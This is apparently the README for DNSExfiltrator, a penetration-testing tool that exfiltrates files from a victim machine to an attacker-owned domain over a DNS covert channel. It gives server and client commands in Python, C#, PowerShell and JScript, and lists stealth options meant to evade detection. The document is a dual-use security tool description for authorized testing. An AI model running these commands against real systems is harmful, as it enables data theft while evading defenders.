DNSExfiltrator – Data exfiltration over DNS request covert channel
DNSExfiltrator allows for transfering (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.
DNSExfiltrator has two sides:
- The server side, coming as a single python script (
dnsexfiltrator.py), which acts as a custom DNS server, receiving the file
- The client side (victim’s side), which comes in three flavors:
dnsExfiltrator.cs: a C# script that can be compiled with
csc.exeto provide a Windows managed executable
Invoke-DNSExfiltrator.ps1: a PowerShell script providing the exact same functionnalities by wrapping the dnsExfiltrator assembly
dnsExfiltrator.js: a JScript script which is a conversion of the dnsExiltrator DLL assembly using DotNetToJScript, and providing the exact same functionnalities
In order for the whole thing to work you must own a domain name and set the DNS record (NS) for that domain to point to the server that will run the
dnsexfiltrator.py server side.
DNSExfiltrator uses the system’s default DNS server, but you can define a specific one (useful for debugging purposes or for running the server side locally for instance). DNSExfiltrator supports basic RC4 encryption of the exfiltrated data, using the provided password to encrypt/decrypt the data.
DNSExfiltrator also provides some optional features to avoid detection:
- requests throttling in order to stay more stealthy when exfiltrating data
- reduction of the DNS request size (by default it will try to use as much bytes left available in each DNS request for efficiency)
- reduction of the DNS label size (by default it will try to use the longest supported label size of 63 chars)
The only dependency is on the server side, as the
dnsexfiltrator.py script relies on the external dnslib library. You can install it using pip:
pip install -r requirements.txt
dnsexfiltrator.py script passing it the domain name and decryption password to be used:
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password
You can either use the compiled version, or the PowerShell wrapper (which is basically the same thing) or the JScript wrapper. In any case, the parameters are the same, with just a slight difference in the way of passing them in PowerShell.
1/ Using the C# compiled Windows executable (which you can find in the
dnsExfiltrator.exe <file> <domainName> <password> [s=DNS_server] [t=throttleTime] [r=requestMaxSize] [l=labelMaxSize]
file: [MANDATORY] The file name to the file to be exfiltrated.
domainName: [MANDATORY] The domain name to use for DNS requests.
password: [MANDATORY] Password used to encrypt the data to be exfiltrated.
DNS_Server: [OPTIONNAL] The DNS server name or IP to use for DNS requests. Defaults to the system one.
throttleTime: [OPTIONNAL] The time in milliseconds to wait between each DNS request.
requestMaxSize: [OPTIONNAL] The maximum size in bytes for each DNS request. Defaults to 255 bytes..
labelMaxSize: [OPTIONNAL] The maximum size in chars for each DNS request label (subdomain). Defaults to 63 chars.
2/ Using the PowerShell script, well, call it in any of your prefered way (you probably know tons of ways of invoking a powershell script) along with the script parameters. Most basic example:
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
Check the EXAMPLES section in the script file for further usage examples.
3/ Using the JScript script, pass it the exact same arguments as you would with the standalone Windows executable:
cscript.exe dnsExiltrator.js inputFile mydomain.com password
Or, with some options:
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500
- Some will ask for AES encryption instead of RC4, I know… might add it later
- Display estimated transfer time
- Do better argument parsing (I’m too lazy to learn how to use a c# argument parsing library, I wish it was as simple as Python)
This tool is intended to be used in a legal and legitimate way only:
- either on your own systems as a means of learning, of demonstrating what can be done and how, or testing your defense and detection mechanisms
- on systems you’ve been officially and legitimately entitled to perform some security assessments (pentest, security audits)
Quoting Empire’s authors: There is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.